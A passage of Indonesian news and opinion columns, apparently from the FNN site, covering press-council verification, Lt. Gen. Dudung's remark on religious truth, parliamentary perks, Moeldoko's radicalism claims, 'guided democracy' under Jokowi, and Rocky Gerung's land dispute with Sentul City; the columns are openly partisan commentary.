Pers. "Jadi sekarang media itu bebas, mau mendatakan dirinya atau tidak itu terserah. Tetapi, Dewan Pers memberikan kesempatan seluas- luasnya, silahkan, sudah zamannya. Silahkan swalayan, silahkan mengisi aplikasi kalau memang ingin mengurus sebagai perusahaan terverifikasi. Akan tetapi, yang harus diingat adalah amanat UU bahwa perusahaan pers yang penting akta perusahaannya mendeklarasikan dirinya adalah perusahaan pers. Juklaknya itu yang bikin masyarakat pers secara nasional melalui Dewan Pers. Akan lebih baik kalau dia melengkapi persyaratan ini... ini... ini. Jadi dia menjadi perusahaan pers yang istilah teman-teman di forum ini adalah perusahaan pers yang kaffah, komprehensif lengkap dengan persyaratannya," paparnya. Dalam pantauan Djauhar, saat ini banyak perusahaan pers asal bikin dengan modal dengkul. Hal semacam itu tidak bisa dibenarkan. Perusahaan pers harus menggunakan modal yang cukup, modal uang, SDM (Sumber Daya Manusia), kecerdasan, dan sebagainya. Diakui Djauhar, sejak reformasi seolah- olah setiap orang merasa bebas menjadi wartawan, semua orang boleh bikin media. Tetapi mereka lupa terhadap berbagai ketentuan yang mengikat bahwa misalnya, di UU bahkan perusahaan pers harus menjamin kesejahteraan karyawan dan wartawannya. Tidak boleh misalnya, ini terjadi di berbagai daerah. Dia merekrut koresponden di mana-mana, tetapi mereka dijadikan konfortter. "Konfortter ini istilah Belanda. Polpoter itu mencari iklan, mencari pemasukan bagi media itu. Enak benar yang bikin media, dengan modal kecil lalu menyuruh orang mencari uang. Pemilik modal tinggal ongkang-ongkang kaki. Ini kategori pemerasan terhadap karyawan atau wartawannya. Tidak bisa seperti itu," katanya. Diakui Djauhar bahwa FNN memang belum sepenuhnya melengkapi aplikasi secara penuh karena sejumlah persyaratannya belum penuh. Tetapi intinya kami melihat bahwa FNN didirikan oleh perusahaan pers yang secara otomatis masuk yurisdiksi sebagai perusahaan yang dapat beroperasi dan memperoleh perlindungan hukum. Dalam posisi ini lanjut Djauhar, menjadi kontroversi, ketika kemarin Kementerian Keuangan juga melaporkan produk FNN (maksudnya Majalah Forum Keadilan-red) yang memang itu produk opini yang diadukan oleh Kementerian Keuangan. "Tadinya mereka sebelumnya juga sudah menanyakan apakah ini diterbitkan oleh perusahaan pers atau bukan, ya kami jawab bahwa itu perusahaan pers. Kalau perusahaan pers penyelesaiannya di Dewan Pers bukan di kepolisian atau pengadilan. Jadi, kita harus tahu hak dan kewajiban masing-masing," tegasnya. Djauhar menekankan, jika ada masalah pemberitaan maka mediasi terlebih dahulu melalui Dewan Pers. "Pada prinsipnya produk jurnalistik tidak boleh dikriminalisasi. Orang cuma salah ngomong saja, cuma kesalahan, dan kekeliruan biasa, bukan kesalahan fatal. Produk jurnalistik harus semuanya melalui proses verifikasi. Kasus Hersu sudah melakukan itu. Bahwa itu tidak diberitakan sekaligus, tidak masalah, itu kan model. Model bisa macam-macam," paparnya. "Sekali lagi saya tegaskan, berkaitan dengan sengketa pemberitaan seharusnya penyelesaiannya sesuai UU Pers melalui Dewan Pers. Soal tidak memuaskan, itu relatif. Saran saya Perusahaan Pers harus segera melakukan verifikasi ke DP biar mendapat perlindungan hukum secara utuh," ucapnya. (sws)

Dudung Merundung

Oleh Ady Amar *) PEKAN ini adalah pekannya Pangkostrad Letjen Dudung Abdurachman. Apa yang disampaikannya dalam kunjungan kerja di Batalyon Zoni Tempur 9 Lang-Lang Bhuana Kostrad, di Kecamatan Ujungberung, Kota Bandung, (Senin, 13 September), itu menimbulkan kontroversi. Mengalahkan berita-berita lain yang muncul sepekan ini. Geger beritanya bahkan mengalahkan berita pesawat Rimbun Air, yang jatuh di Intan Jaya. Kontroversi ucapannya, "Semua agama benar di mata Tuhan," menimbulkan tanggapan bertubi di tengah masyarakat, terutama tanggapan dari kalangan ulama. Beberapa pengurus teras MUI pun mengomentari pernyataan Letjen Dudung itu. KH Muhyiddin Junaidi, Wakil Ketua Dewan Pertimbangan MUI merespons dengan nasihat, agar Letjen Dudung Abdurachman minta maaf atas pernyataannya yang menyebut semua agama itu benar di mata Tuhan. Jelasnya, "Pernyataan semua agama itu benar, itu sesat dan menyesatkan", Rabu (15/9). Bukannya mendengar nasihat itu, justru sehari kemudian Letjen Dudung perlu membuat klarifikasi atas pernyataannya yang sampai menimbulkan geger itu. Motifnya tentu membela diri, meyakini bahwa apa yang dikatakannya itu benar. Katanya, "Pernyataannya bahwa semua agama adalah benar di mata Tuhan, karena dia sebagai Pangkostrad perlu menyatakan semua agama benar saat berbicara di hadapan prajuritnya. Sebab, prajuritnya berasal dari berbagai pemeluk agama." "Saya ini Panglima Kostrad, bukan ulama. Jika ulama mengatakan bahwa semua agama itu benar, berarti dia ulama yang salah," ujarnya penuh yakin dalam keterangan persnya, Kamis (16/9). Dudung jelas mengatakan, bahwa sebagai petinggi militer dia berhak bicara pada prajuritnya, bahwa semua agama benar di mata Tuhan, itu karena dia bukan ulama. Tanpa sadar sebenarnya ia menjelaskan, entah disadarinya atau tidak, bahwa ia penganut relativisme kognitif, dimana tidak ada kebenaran mutlak dan universal dalam pandangan manusia, dan itu tentang apa saja. Ia seolah menolak absolutisme, lawan dari relativisme, yang meyakini bahwa harus ada kebenaran dan kebaikan tunggal dan objektif. Pilihannya hanya dua: benar mutlak atau salah mutlak. Dalam absolutisme, tidak boleh ada yang setengah-setengah, setengah benar atau setengah salah. Meyakini agamanya paling benar, itu absolutisme. Tentu itu bukan bentuk intoleran. Karenanya, bukan pula hanya monopoli ulama, semua insan harus meyakini bahwa agamanya itu benar absolut. Meski tidak patut diteriakkan pada pemeluk agama lain dengan pongah. Pun non-Islam juga meyakini, bahwa agama yang dipeluknya yang paling benar. Sikap yang ingin dibangun Letjen Dudung di hadapan prajuritnya, hingga keluar ungkapan "semua agama itu benar di mata Tuhan", dimaksudkan bagian dari toleransi. Padahal toleransi tidak keluar dari batasnya, yaitu (hanya) saling menghargai, bukan menggugurkan keyakinan absolut yang mesti dipunyai pemeluk agama. Letjen Dudung memang bukan ulama, itu pasti. Tapi tidak harus jadi ulama seorang (muslim) memahami batasan toleransi itu. Menyenangkan prajurit yang beragam agama/keyakinan, itu tidak harus sampai menggerus keyakinan, bahwa agama yang dipeluknya bukanlah agama yang paling benar. Keyakinan (akidah), pastilah bukan monopoli ulama. Pluralisme Merundung Ucapan Letjen Dudung sungguh merundung, dalam makna mengganggu. Ucapan kontroversialnya itu mengganggu, dan jika disadarinya, itu menelisihi agama yang dipeluknya. Bagaimana bisa dikatakan agama yang dipeluknya sama dengan agama lainnya, dan itu hanya untuk menyenangkan prajurit yang beragam dalam beragama. Pernyataan Letjen Dudung diawali dengan pesannya, "Agar prajurit TNI menghindari fanatik yang berlebihan terhadap suatu agama..." Lalu dilanjut, karena semua agama itu benar di mata Tuhan." Fanatik terhadap agama itu justru anjuran. Tentu bukan fanatik buta. Jika tidak fanatik, apa beragama harus kurang lebih, begitu... Atau jika fanatik pada agamanya, apa itu bisa menciptakan kekerasan, lalu hilang sikap toleran pada agama lain. Tentu tidak demikian. Justru sebaliknya yang didapat. Fanatik janganlah dimaknai sempit, lalu jadi negatif. Ini yang menjadikan merundung. Letjen Dudung dengan pernyataannya, itu jelas pluralisme agama, sebuah paham yang mengatakan bahwa semua agama itu benar di mata Tuhan. Pluralisme menjelma menjadi agama baru, agama gado-gado sesembahan liberalis. Karenanya, Islam menolak pluralisme itu. Tidak Islam saja yang menolaknya, bahkan Frans Magnis Suseno, tokoh Katolik, dalam bukunya Menjadi Saksi Kristus di Tengah Masyarakat Majemuk , jelas menolak dengan keras pluralisme agama itu. Mestinya semua agama menolaknya. Mana mungkin atas nama toleransi, satu agama mengakui agama lainnya hanya karena toleransi. Ini bisa merundung, dalam konteks Letjen Dudung Abdurachman, akan menghancurkan bangunan agama yang sudah kokoh hanya untuk menyenangkan prajurit yang beragam agamanya. (*) *) Kolumnis

PEKOK (Pejabat Eksklusif, Kacung Organisasi Konglomerat)

Oleh Sugengwaras *) Pejabat pekok, biasanya cerdas, tegas, ganas, menindas, kejam, seram, pendendam dan pembungkam! Indikasi itu semakin hari semakin jelas ada di stakeholder kekuasaan baik terkait menjalankan tugas-tugas dari atasan maupun nafsu individu. Ironisnya tak kapok-kapoknya calon-calon yang lain ingin mengikuti jejak ini. Memang, karakter baik-buruk, amanah dan serakah telah ada sejak dulu dan belum banyak bisa menjadi pelajaran yang mendidik dari generasi ke generasi. Peristiwa aktual seperti isu aneh meninggalnya Ketua Umum PDI Perjuangan Megawati serta peristiwa Rocky Gerung terkait sengketa perampasan hak tanah rakyat oleh pejabat atau penguasa yang kong kalikong dengan konglomerat, bisa jadi melibatkan RK dan Sentul City, mengindikasikan kerakusan individu pejabat, penguasa yang hampir sulit dibedakan antara aparat negara dan keparat negara. Menyikapi fenomena seperti ini tidak ada alternatif lain kecuali harus dilawan oleh para pakar dan praktisi di bidang pertanahan untuk Rocky Gerung dan para pakar dan praktisi politik untuk kasus isu meninggalnya Megawati, meskipun tak jelas juntrungannya maksud dan tujuan. pemberitaan ini Sudah bukan eranya lagi untuk mengkultuskan seseorang seperti Megawati ini, nyaris uweuh pangaruhna, ibarat adanya tak menggenapkan dan tiadanya tak mengganjilkan atau kehadiran maupun keabsenanya tidak beda makna. Namun, jika ternyata pembuat isu bohong atau penyesatan tentang meninggalnya Megawati dibiarkan, sama halnya pejabat pekok telah memperdaya diri sendiri untuk terjerumus ke jurang kenistaan, karena tindakan hukum yang dilakukan jauh berbeda dengan kasus kebohongan kesehatan yang dituduhkan kepada HRS. Layak, kita tak bosan bosan menyinggung sosok HRS, karena sesama warga negara sekaligus sebagai panutan, yang tidak selayaknya didiskriminasi, didzolimi dan dibenci, wujud implementasi pejabat pekok, sedangkan para koruptor kelas kakap semakin diperingan, aneh bin ajaib, lucu binti pekok. Jadi ingat hakim yang menghakimi kasus HRS tidak akan pernah mengalami ketenangan dan ketenteraman selama hidupnya di dunia, apalagi diakhirat. Menyikapi pejabat pekok seperti ini, sekali lagi jangan kasih peluang untuk mereka merekayasa kasus, sebaliknya terus kabarkan, kobarkan dan kibarkan bendera perlawanan secara terus menerus hingga tetesan darah terakhir Jangan biarkan kejahatan berkuasa, jika dunia tak ingin dirajai para penjahat ! *) Purnawirawan TNI AD

Krisdayanti Menyingkap Kebenaran Publik

Oleh: Yusuf Blegur SEKETIKA kepolosan Krisdayanti di channel video Akbar Faisal mengundang beragam respon. Pemaparan Krisdayanti yang tak ubahnya nyanyian politik itu secara spontan mengungkap isi jeroan parlemen dan para politisi kontrak penghuninya. Termasuk bagaimana uang beredar yang formal dan non-formal menyokong kerja-kerja legislasi, pengawasan pemerintah, dan menyuarakan aspirasi rakyat. Meski samar-samar rakyat telah mengetahui status dan peran anggota DPR RI, celoteh artis cantik yang pernah menjadi diva musik Indonesia itu, semakin menegaskan betapa pekerja parlemen itu berlimpah fasilitas. Termasuk berhamburan uang rakyat yang menggaji politisi Senayan yang juga petugas partai politik. Sebagai orang dalam, KD panggilan Krisdayanti yang berasal dari daerah pemilihan Malang, Jawa Timur, saat berdialog dengan Akbar Faisal terasa santai mengungkap sisi dalam dan pernak-pernik lembaga politik beserta perangai personalnya. KD seperti menjadi "insider" di sebuah perusahaan yang sedang membuat pengakuan membongkar kejahatan perusahaannya sendiri di hadapan publik. Pelbagai previlage, kemudahan, dan pelayanan prioritas yang dimiliki anggota DPR RI terlontar tanpa sensor. Krisdayanti terlihat nyaman dan menikmati saat mengupas sisi under cover DPR RI. Senyaman dan sesantai KD saat tampil di panggung konser musik. Menariknya, KD begitu gamblang blejetin angka demi angka uang negara dalam parlemen yang kantornya pernah diduduki ratusan ribu mahasiswa saat dianggap tak berfungsi sebelum pecah reformasi. Nominal yang sangat besar dan menggiurkan untuk ukuran kerja politik seadanya yang dituntut hasil maksimal oleh rakyat. Apalagi kemewahan hidup anggota DPR itu seiring sejalan dengan kesengsaraan hidup rakyat di tengah pandemi. Bisa ditebak, pro dan kontra menyeruak merespons pengakuan panas KD. Sikap dan pandangan kontra sudah bisa dipastikan berasal dari kalangan atau kolega parlemen sendiri dan partai politik yang menjadi induk semangnya. Partai politik dan perpanjangan tangannya di Senayan, merasa seperti ketahuan belangnya. Seperti merasa dibeberkan kenyataan-kenyataan minor yang sebenarnya, dari lembaga dan orang-orang yang diberi gelar terhormat dan mewakili rakyat. Sementara di lain sisi, respons positif datang dari publik atas penampilan dan argumentasi politik KD. Cantik, cukup cerdas, kaya raya, dan polos membeberkan fakta seputar anggota legislatif pusat itu. Kontan mendapat apresiasi dan dukungan masyarakat. KD seperti oase di tengah gurun pasir. Memberi kesejukan dan keteduhan di tengah gersangnya imej DPR RI selama ini. Besar Pasak dari padaTiang Jika melihat dan mendengar langsung narasi gamblang Krisdayanti soal anggota legislatif di tingkat pusat, ada beberapa poin penting yang bisa menjadi ajang refleksi dan evaluasi kinerja punggawa DPR RI itu. Berikut yang paling mendasar terkait fasilitas yang ada dan kinerja yang dihasilkan. 1. Dengan gaji dan fasilitas yang cukup besar peran anggota DPR RI dirasakan belum memuaskan. Pencapaian kinerja masih dianggap jauh dari maksimal. Baik dari produk legislasi yang dihasilkan, fungsi kontrol dan pengawasan pemerintahan terkait kebijakan politik dan anggaran, maupun pendampingan dan advokasi permasalahan rakyat. Penilaian itu sulit dibantah mengingat, sejauh ini banyak kasus yang berkolerasi dengan lemahnya kinerja anggota DPR RI. Dari sekian banyak persoalan, sebut saja beberapa diantaranya. Semisal polemik UU HIP dan Minerba. DPR RI terkesan mengabaikan suara dan aspirasi rakyat. Begitu juga yang aktual soal pandemi. Selain kisruhnya uu kesehatan termasuk soal karantina dan prokes. DPR RI bersama pemerintah gagal menyelamatkan kepentingan rakyat. Penanganan yang berlarut-larut hanya menimbulkan kemerosatan ekonomi, kekacauan politik, dan korban nyawa rakyat. 2. Anggota DPR RI bersama partai politiknya telah menjadi bagian dari oligarki yang dibangun dan bersumber dari borjuasi korporasi besar. Meraka pada akhirnya menjadi 'patron klein' dari pemilik modal dan mafia yang selama ini menggunakan jubah pengusaha kakap. Praktis keadaan itu membuat performa DPR RI jauh dari kata berkualitas dan memiliki integritas. Bahkan sejak dari menjadi calon legislatif yang transaksional dan kapitalistik hingga kinerja yang asal-asalan dan suara-suara mereka di parlemen yang mudah dibeli dan mengangkangi aspirasi rakyat. Wajar saja, jika pada akhirnya rakyat sangat apriori dan skeptis terhadap keberadaan dan eksistensi DPR RI. Rakyat akhirnya lebih suka mencari saluran alternatif dan membuka sumbatan-sumbatan aspirasi yang mampu mewakili mereka. Demokrasi jalanan akhirnya menjadi pilihan dan dipakai rakyat untuk memperjuangkan kepentingannya. Menyuarakan kebenaran dan keadilan melalui media sosial dan kreatifitas lainnya seperti mural, spanduk, gerakan tutup kuping dsb. 3. Kemandulan DPR RI ini bukan semata menjadi indikator kegagalan peran dan fungsi insitusi politik yang vital dan strategis tersebut. Lebih dari itu telah terjadi pergeseran makna dan hakekatnya. Bahwasanya menjadi anggota DPR RI dan jenjang di bawahya bukan lagi sebagai tugas kenegaraan dalam mewakili dan mengemban amanat penderitaan rakyat. Kini lembaga politik itu telah cenderung menjadi orientasi dan kumpulan orang-orang oportunis yang mengejar ekonomi dan status sosial. Jabatan anggota DPR RI yang melekat pada dirinya, tak ubahnya seperti jabatan karir ekonomi dan profesi semata. Kondisi yang demikian diperparah dan semakin hancur dengan perilaku maksiat seperti korupsi, kebohongan publik dll. Oleh karena itu harapan besar rakyat terhadap kinerja DPR RI dalam memperjuangkan rakyat seperti menjadi uthopis. Rakyat seperti merasa dikhianati dan terus-menerus menjadi korban politik dari kekuasaan. Baik dari institusi pemerintahan yang ada di legislatif, eksekutif maupun yudikatif. Krisdayanti untuk sesaat telah mewakili suara rakyat. Mengungkap pengkhianatan politisi pada rakyat. Sebagai bagian dari kumpulan pelaku-pelaku politik dan pemangku kebijakan di Senayan. Krisdayanti juga vulgar menyampaikan perselingkuhan aspirasi anggota dewan yang terhormat. Tetap cantik, bersuara indah dan polos untuk sang Diva. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Moeldoko dan Semburan Fitnah

By M Rizal Fadillah MOELDOKO saat berkunjung ke Pesantren Lirboyo Kediri Jawa timur menyebutkan bahwa "faham radikal sudah menyusup di tengah-tengah masyarakat dan lembaga pendidikan. Ini harus kita waspadai karena gerakannya sistematis dan terstruktur". Perlu klarifikasi ucapan Kepala KSP ini. Sepanjang hal itu bias dan hanya melempar isu saja, maka Moeldoko telah melakukan semburan fitnah. Semburan fitnah atau konteks politiknya adalah "firehose of falsehood" berasal dari doktrin Pemerintah Rusia. Operasi ini digunakan Rusia tahun 2012-2017 dalam krisis Crimea, konflik Ukraina, dan perang sipil Suriah. Semburan fitnah dilakukan untuk melemahkan perjuangan lawan dengan melakukan kebohongan untuk memecah belah. Ketika timbul ketidakpercayaan sesamanya maka kelemahan itu segera dimanfaatkan. Serangan masif kepada umat Islam dan institusi keagamaan tentang radikalisme, intoleransi ataupun terorisme jelas membahayakan dan menciptakan iklim yang tidak kondusif. Negara dan para pejabat negara yang terus menyemburkan fitnah adalah pelaku kejahatan sistematis dan terstruktur. Betapa keji tuduhan yang dilakukan tanpa adanya pembuktian. Negara sebenarnya memiliki perangkat lengkap untuk melakukan tindakan nyata atas sesuatu yang dinilai mengancam. Bukan melempar-lempar isu yang tidak jelas. Apalagi menyasar kepada lembaga pendidikan keagamaan seperti Pesantren. Nah, agar pemerintah atau negara tidak menjadi institusi penyembur fitnah, maka: pertama, jelaskan makna atau batasan radikal itu agar menjadi tidak bias dan berbenturan dengan keyakinan atau keimanan. Sepakati batasan tersebut dengan tingkat obyektivitas tinggi. Jangan radikalisme itu dimaknai semata berdasarkan faham atau persepsi subyektif dari Pemerintah. Kedua, segera buktikan lembaga pendidikan mana yang telah tersusupi beserta langkah yang telah diambil dalam rangka pencegahan atau tindakan terhadap lembaga pendidikan yang telah tersusupi oleh paham radikalisme tersebut. Ketiga, membuat takut masyarakat dan lembaga pendidikan atas kemungkinan terjadinya penyusupan paham radikal justru merupakan radikalisme itu sendiri. Negara tidak boleh menjadi teroris. Teror bukan bagian dari pendidikan politik rakyat yang sehat. Paham radikal menurut Moeldoko masuk ke lembaga pendidikan itu dilakukan secara terstruktur dan sistematis. Moeldoko harus mempu menjelaskan bagaimana gerakan radikal yang tersistematis dan terstruktur itu. Adakah gerakan tersebut bersifat original atau artifisial? Sebelumnya pengamat intelijen Susaningtyas Nefo juga dikualifikasi menyemburkan fitnah tentang ciri-ciri teroris yang di samping belajar dan menggunakan bahasa Arab, juga berada di madrasah-madrasah yang berkiblat pada Thaliban. Nefo sendiri tidak bisa menampilkan mana madrasah-madrasah yang berkiblat pada Thaliban tersebut. Moeldoko harus membuktikan tuduhannya. Tanpa hal itu maka ia telah menyebarkan fitnah dan melakukan teror psikologis kepada umat Islam. Moeldoko lupa bahwa dirinya justru pernah melakukan gerakan radikal dengan mencoba melakukan kudeta kepemimpinan partai melalui kongres abal abal. Muldoko adalah seorang radikalis dan Istana telah tersusupi. *) Pemerhati Politik dan Kebangsaan

Arah Demokrasi Terpimpin

By M Rizal Fadillah DEMOKRASI Terpimpin adalah sistem demokrasi di masa Pemerintahan Orde Lama pimpinan Soekarno pasca 1959 hingga keruntuhan 1966. Melalui jembatan kudeta PKI bulan September 1965 Pemerintahan Soekarno berakhir. PKI menjadi anak emas rezim yang menunggangi sistem Demokrasi Terpimpin tersebut. Ideologi tetap Pancasila akan tetapi Pancasila itu telah diinterpretasi dan dijalankan dalam versi kewenangan dan kesewenang-wenangannya sendiri. Pemerintahan Jokowi pun saat ini masih mengandalkan Pancasila. Bahkan ada lembaga Badan Pembina Ideologi Pancasila (BPIP) segala. Tapi mudah disimpulkan bahwa Pemerintahan Jokowi bergaya dan mengarah pada pelaksanaan sistem Demokrasi Terpimpin. Jika dahulu Soekarno berangkat dari karisma dan otoritas dirinya sebagai "Bapak Revolusi" kini Jokowi mengandalkan kekuatan oligarkhi yang mengitarinya. Rezim investasi "Bapak Infrastruktur". Jokowi yang "dikawal" Megawati Soekarno puteri sejak terpilih untuk keduakalinya mulai menjalankan pola Demokrasi Terpimpin yang diawali dengan penghancuran KPK, pembungkaman oposisi, serta politisasi pandemi. Ketua PP Muhammadiyah Busyro Muqoddas saat berdiskusi soal pelumpuhan KPK menyatakan bahwa Presiden Jokowi itu dikelilingi dan berpola pada sistem dinasti oligarkhi berbasis keluarga dan taipan hitam. Keberadaan buzzer ternyata menambah kumuh kubangan oligarkhi. Dalam rangka mengukuhkan kepatuhan semua diarahkan pada kebijakan yang memusat. Kedaulatan rakyat telah diambil habis oleh Partai Politik. DPR menjadi mitra oligarkhi sekaligus pendukung arah dari sistem Demokrasi Terpimpin tersebut. Ketua Dewan Pengarah BPIP adalah Megawati Soekarnoputri. Disiapkan aturan UU dalam Prolegnas 2021. Kegagalan RUU HIP oleh penentangan keras rakyat ternyata tidak mematahkan keinginan untuk tetap mengendalikan ideologi secara terpimpin. Bahkan kini dicanangkan implementasi berupa Pokok Pokok Haluan Negara (PPHN). PPHN telah dicanangkan PDIP sejak Kongres V PDIP di Bali yang dimaksudkan sebagai "GBHN" untuk menggabungkan pola perencanaan pembangunan Orde Lama dan Orde Baru. Wakil Ketua MPR Ahmad Basarah mewakili PDIP menyatakan "usul kami mengkombinasikan konsep pembangunan nasional yang dilakukan pada era Presiden Soekarno dan juga GBHN pola era Presiden Soeharto". Ia menegaskan bahwa konsep Orde Lama adalah Pembangunan Nasional Semesta Berencana (PNSB). PNSB yang sandarannya Manipol/Usdek menjadi landasan Demokrasi Terpimpin Soekarno. Penggabungan antara GBHN dan PNSB konsepnya bisa dibuat oleh Bappenas dan Badan Riset Nasional yang akan dibentuk. Ternyata itu adalah Badan Riset dan Inovasi Nasional (BRIN). Megawati Soekarnoputeri Ketum PDIP menjabat sebagai Ketua Dewan Pengarah BRIN. Akademisi mengkritisi lembaga ilmiah yang dikendalikan oleh politisi. Dewan Penasehat Kaukus Indonesia untuk Kebebasan Akademik (KIKA) Herlambang P Wiratraman menyatakan prihatin akan sains yang berada di bawah kekuasaan politik "lembaga riset semestinya untuk memperkuat dan mengutamakan sains". Luar biasa, Ketua Dewan Pengarah dua lembaga strategis yaitu BPIP dan BRIN dijabat oleh satu orang yang sama yaitu Megawati. Ini sinyal dari penguatan Demokrasi Terpimpin. Jokowi bersama taipan dan buzzer, Luhut bersama RRC, dan Megawati bersama partai koalisi menjadi pilar kekuasaan. Didukung oleh Kepolisian dan akhir-akhir ini TNI yang tidak semakin netral. Inilah wajah pimpinan Demokrasi kontemporer. BRIN akan menjadi "think tank" Pemerintahan Jokowi dengan Ketua Dewan Pengarah Megawati yang memiliki kewenangan besar. Bukan kolektif kolegial melainkan dominan otoritas Ketua. Perpres No 78 tahun 2021 memberi kewenangan luar biasa kepada Megawati dari mulai mengevaluasi, memberi rekomendasi, persetujuan, hingga membentuk Satgas Khusus. Diberi hak pula mengangkat empat staf khusus. Jika wacana tentang perpanjangan masa jabatan Jokowi benar terjadi. Maka Demokrasi Terpimpin bukan arah lagi melainkan kenyataan. Perulangan sejarah. Orde Baru dan Orde Lama memang bergabung. Rakyat di samping menderita oleh banyak paksaan politik, akan tetapi sebenarnya senang juga karena kondisi ini merupakan pertanda bahwa Pemerintahan Jokowi akan semakin cepat berakhir. *) Pemerhati Politik dan Kebangsaan

Teror Eskavator, Perlawanan dari Sentul

Oleh Ady Amar *) ESKAVATOR, setidaknya tampak dua unit, nongkrong tidak lebih 50 meter dari tempat tinggal Rocky Gerung. Somasi 7×24 jam dari pengembang PT Sentul City, Tbk (SC) untuk mengosongkan rumah yang ditinggalinya sejak 2009, yang ia beli dari pemilik sebelumnya, itu tidak menyiutkan nyalinya. RG masih bisa terima kawan-kawan yang berempati padanya, masih bisa tertawa-tawa lepas dengan canda cerdasnya. Seolah teror eskavator dari SC itu cuma hal kecil saja, seperti nyamuk yang mengiang di telinga saat menjelang tidur. Itu bukan sesuatu yang menakutkan buatnya. Eskavator yang dikirim SC buatnya itu hal kecil yang tidak akan sampai mengganggu waktunya untuk tetap bersikap kritis. Kenekatan SC melawan RG itu memang mencengangkan. Tentu orang lalu menganggap, nekatnya itu pasti tidak berdiri sendiri, pasti punya backing orang super kuat di belakangnya. Tanpa itu mustahil teror eskavator itu berani dilakukan. Memakai teror eskavator pada RG itu bukanlah langkah tepat. Tidak semua bisa diperlakukan dengan "semena-mena", menggusur hanya berdasar status tanah yang diada-adakan. RG berujar, ini bukan hanya masalahnya saja, tapi juga masalah 90 KK (6.000 orang), yang juga akan digusur, padahal di antara mereka ada yang sudah menempati tanah itu sejak tahun '60-an. Lanjutnya, jika hanya ia sendiri yang digusur tidak masalah, tapi tidak pada 90 KK/6.000 orang tadi yang harus digusur. Jika RG yang digusur, buatnya itu tidak masalah. Pastilah ia tidak sampai harus terlunta-lunta seperti orang kebanyakan yang tidak punya kekuatan tawar. Subhanallah muncul banyak tawaran rumah buatnya, dari banyak pihak, bahkan dari orang yang tidak dikenalnya. Konon sudah ada 37 tawaran rumah untuk ditempatinya, sesukanya tanpa batas waktu, dan 4 apartemen mewah. Bagaimana dengan 90 KK/6.000 orang itu jika harus digusur, semacam penggusuran di tempat-tempat lain oleh para pengembang besar, yang mudah mendapatkan izin penggunaan tanah melawan orang kecil yang mendiami tanah tanpa secarik kertas Hak Guna Bangunan (HGB). Menempati tanah warisan berpuluh tahun lalu itu tidak cukup kuat untuk melawan kekuatan hukum yang didapat para pengembang dengan begitu mudahnya. Kali ini SC menemui lawan berat. Lawan tidak main-main, yang gemanya tidak cuma di Bojong Koneng, kawasan Sentul, tapi menyeruak tidak saja di tingkat nasional, tapi akan tersiar ke manca negara. Dan semua akan melihatnya tidak semata masalah hak atas sebidang tanah, tapi sifatnya lebih pada politik. Kasus RG ini bisa membuka kotak pandora persoalan tanah berjuta hektar yang hanya dikuasai segelintir orang. Bahkan ada satu pengusaha menguasai tanah perkebunan sampai 5,2 juta hektar. Apa gak koplak ini. Sedang lebih dari seratus juta warga tidak memiliki tanah meski hanya belasan meter persegi saja. Kasus RG versus SC, sepertinya sudah diatur Tuhan untuk mengoreksi ketidakadilan berkenaan dengan kepemilikan tanah. Jika eskavator benar-benar nekat bergerak meratakan rumah yang didiami RG itu, dan tentu yang didiami 90 KK/6.000 warga yang ada di sekitarnya. Sungguh miris melihat rumah sederhana, yang di dalamnya mengoleksi beribu buku, dan hutan kecil hasil reservasi selama bertahun, dengan berbagai pohon terutama pinus yang menjulang tinggi menggapai langit, anggrek dan lainnya, burung-burung dan makhluk hidup lain yang hidup di sana bersamanya. Termasuk monyet-monyet liar yang datang dari sekitarnya, yang dijamunya dengan hidangan pisang. Setiap 2 hari sekali 2 tandan pisang digantungnya untuk konsumsi monyet-monyet itu. Dengan akan diratakannya dengan tanah, jika SC tetap nekat, maka semua makhluk hidup di sana akan musnah, terutama pohon-pohon dan bunga yang ditanamnya. Perlawanan dari Sentul Tanah yang dikuasai RG itu cuma 800 meter persegi. Rumahnya kecil saja, hanya ada satu kamar tidur, ruang tamu dan dapur, sedang lainnya ia konservasi layaknya hutan kecil. Dan itu untuk menghindari longsor, karena posisinya di lereng yang punya tingkat kemiringan cukup ekstrem. Tanah yang terbilang kecil itu, diklaim SC sebagai tanah miliknya. Itu berdasar sertifikat HGB yang dimilikinya. Tidak persis tahu sertifikat HGB itu keluar tahun berapa, yang itu sudah dianggap mampu menggusur tanah rakyat yang didiami puluhan tahun. Kasus RG versus SC ini menjadi menarik, karena mampu mengungkap persoalan tanah yang cuma dikuasai beberapa gelintir taipan. Adalah Sekjen Konsorsium Pembaharuan Agraria (KPA), Dewi Kartika, mengungkap bahwa 68 persen tanah Indonesia dikuasai perorangan dan kelompok pengusaha. Angka itu memperlihatkan ketimpangan penguasaan lahan terburuk sejak Undang-undang Pokok Agraria (UUPA) 5/90 disahkan. "Saat ini indeks ketimpangan penguasaan tanah sudah mencapai ketimpangan yang tidak pernah terjadi sebelumnya dalam sejarah kita, 1 persen pengusaha atau badan usaha menguasai 68 persen aset tanah nasional," ujar Dewi. Dan katanya pula, KPA mencatat, bahwa konflik Agraria meningkat tajam di era kepemimpinan Presiden Joko Widodo. Tercatat, ada 2.291 konflik Agraria, selama 2015, hampir dua kali lipat dibandingkan 10 tahun era kepemimpinan Presiden Susilo Bambang Yudhoyono, yang sebanyak 1.770. Perlu diingat, jabatan Presiden Jokowi, pada periode ke-2 nya baru berjalan dua tahun. Tersisa tiga tahun lagi, yang bisa jadi konflik yang terjadi jumlahnya akan bertambah. Akankah perseteruan RG versus SC akan berkepanjangan, yang itu tidak mustahil akan memantik perlawanan dengan eskalasi yang lebih besar, yang itu dimulai dari Sentul. Masalah RG bisa menjadi perlawanan rakyat, menunggu momentum yang pas. Ketidakadilan dan kesewenang-wenangan yang dirasakan rakyat, itu jalan masuk untuk membersamai RG dan 90 KK/6.000 orang untuk membela haknya... Wallahu a'lam. (*) *) Kolumnis

Memburu Tahta dan Harta Seraya Mengubur Aqidah

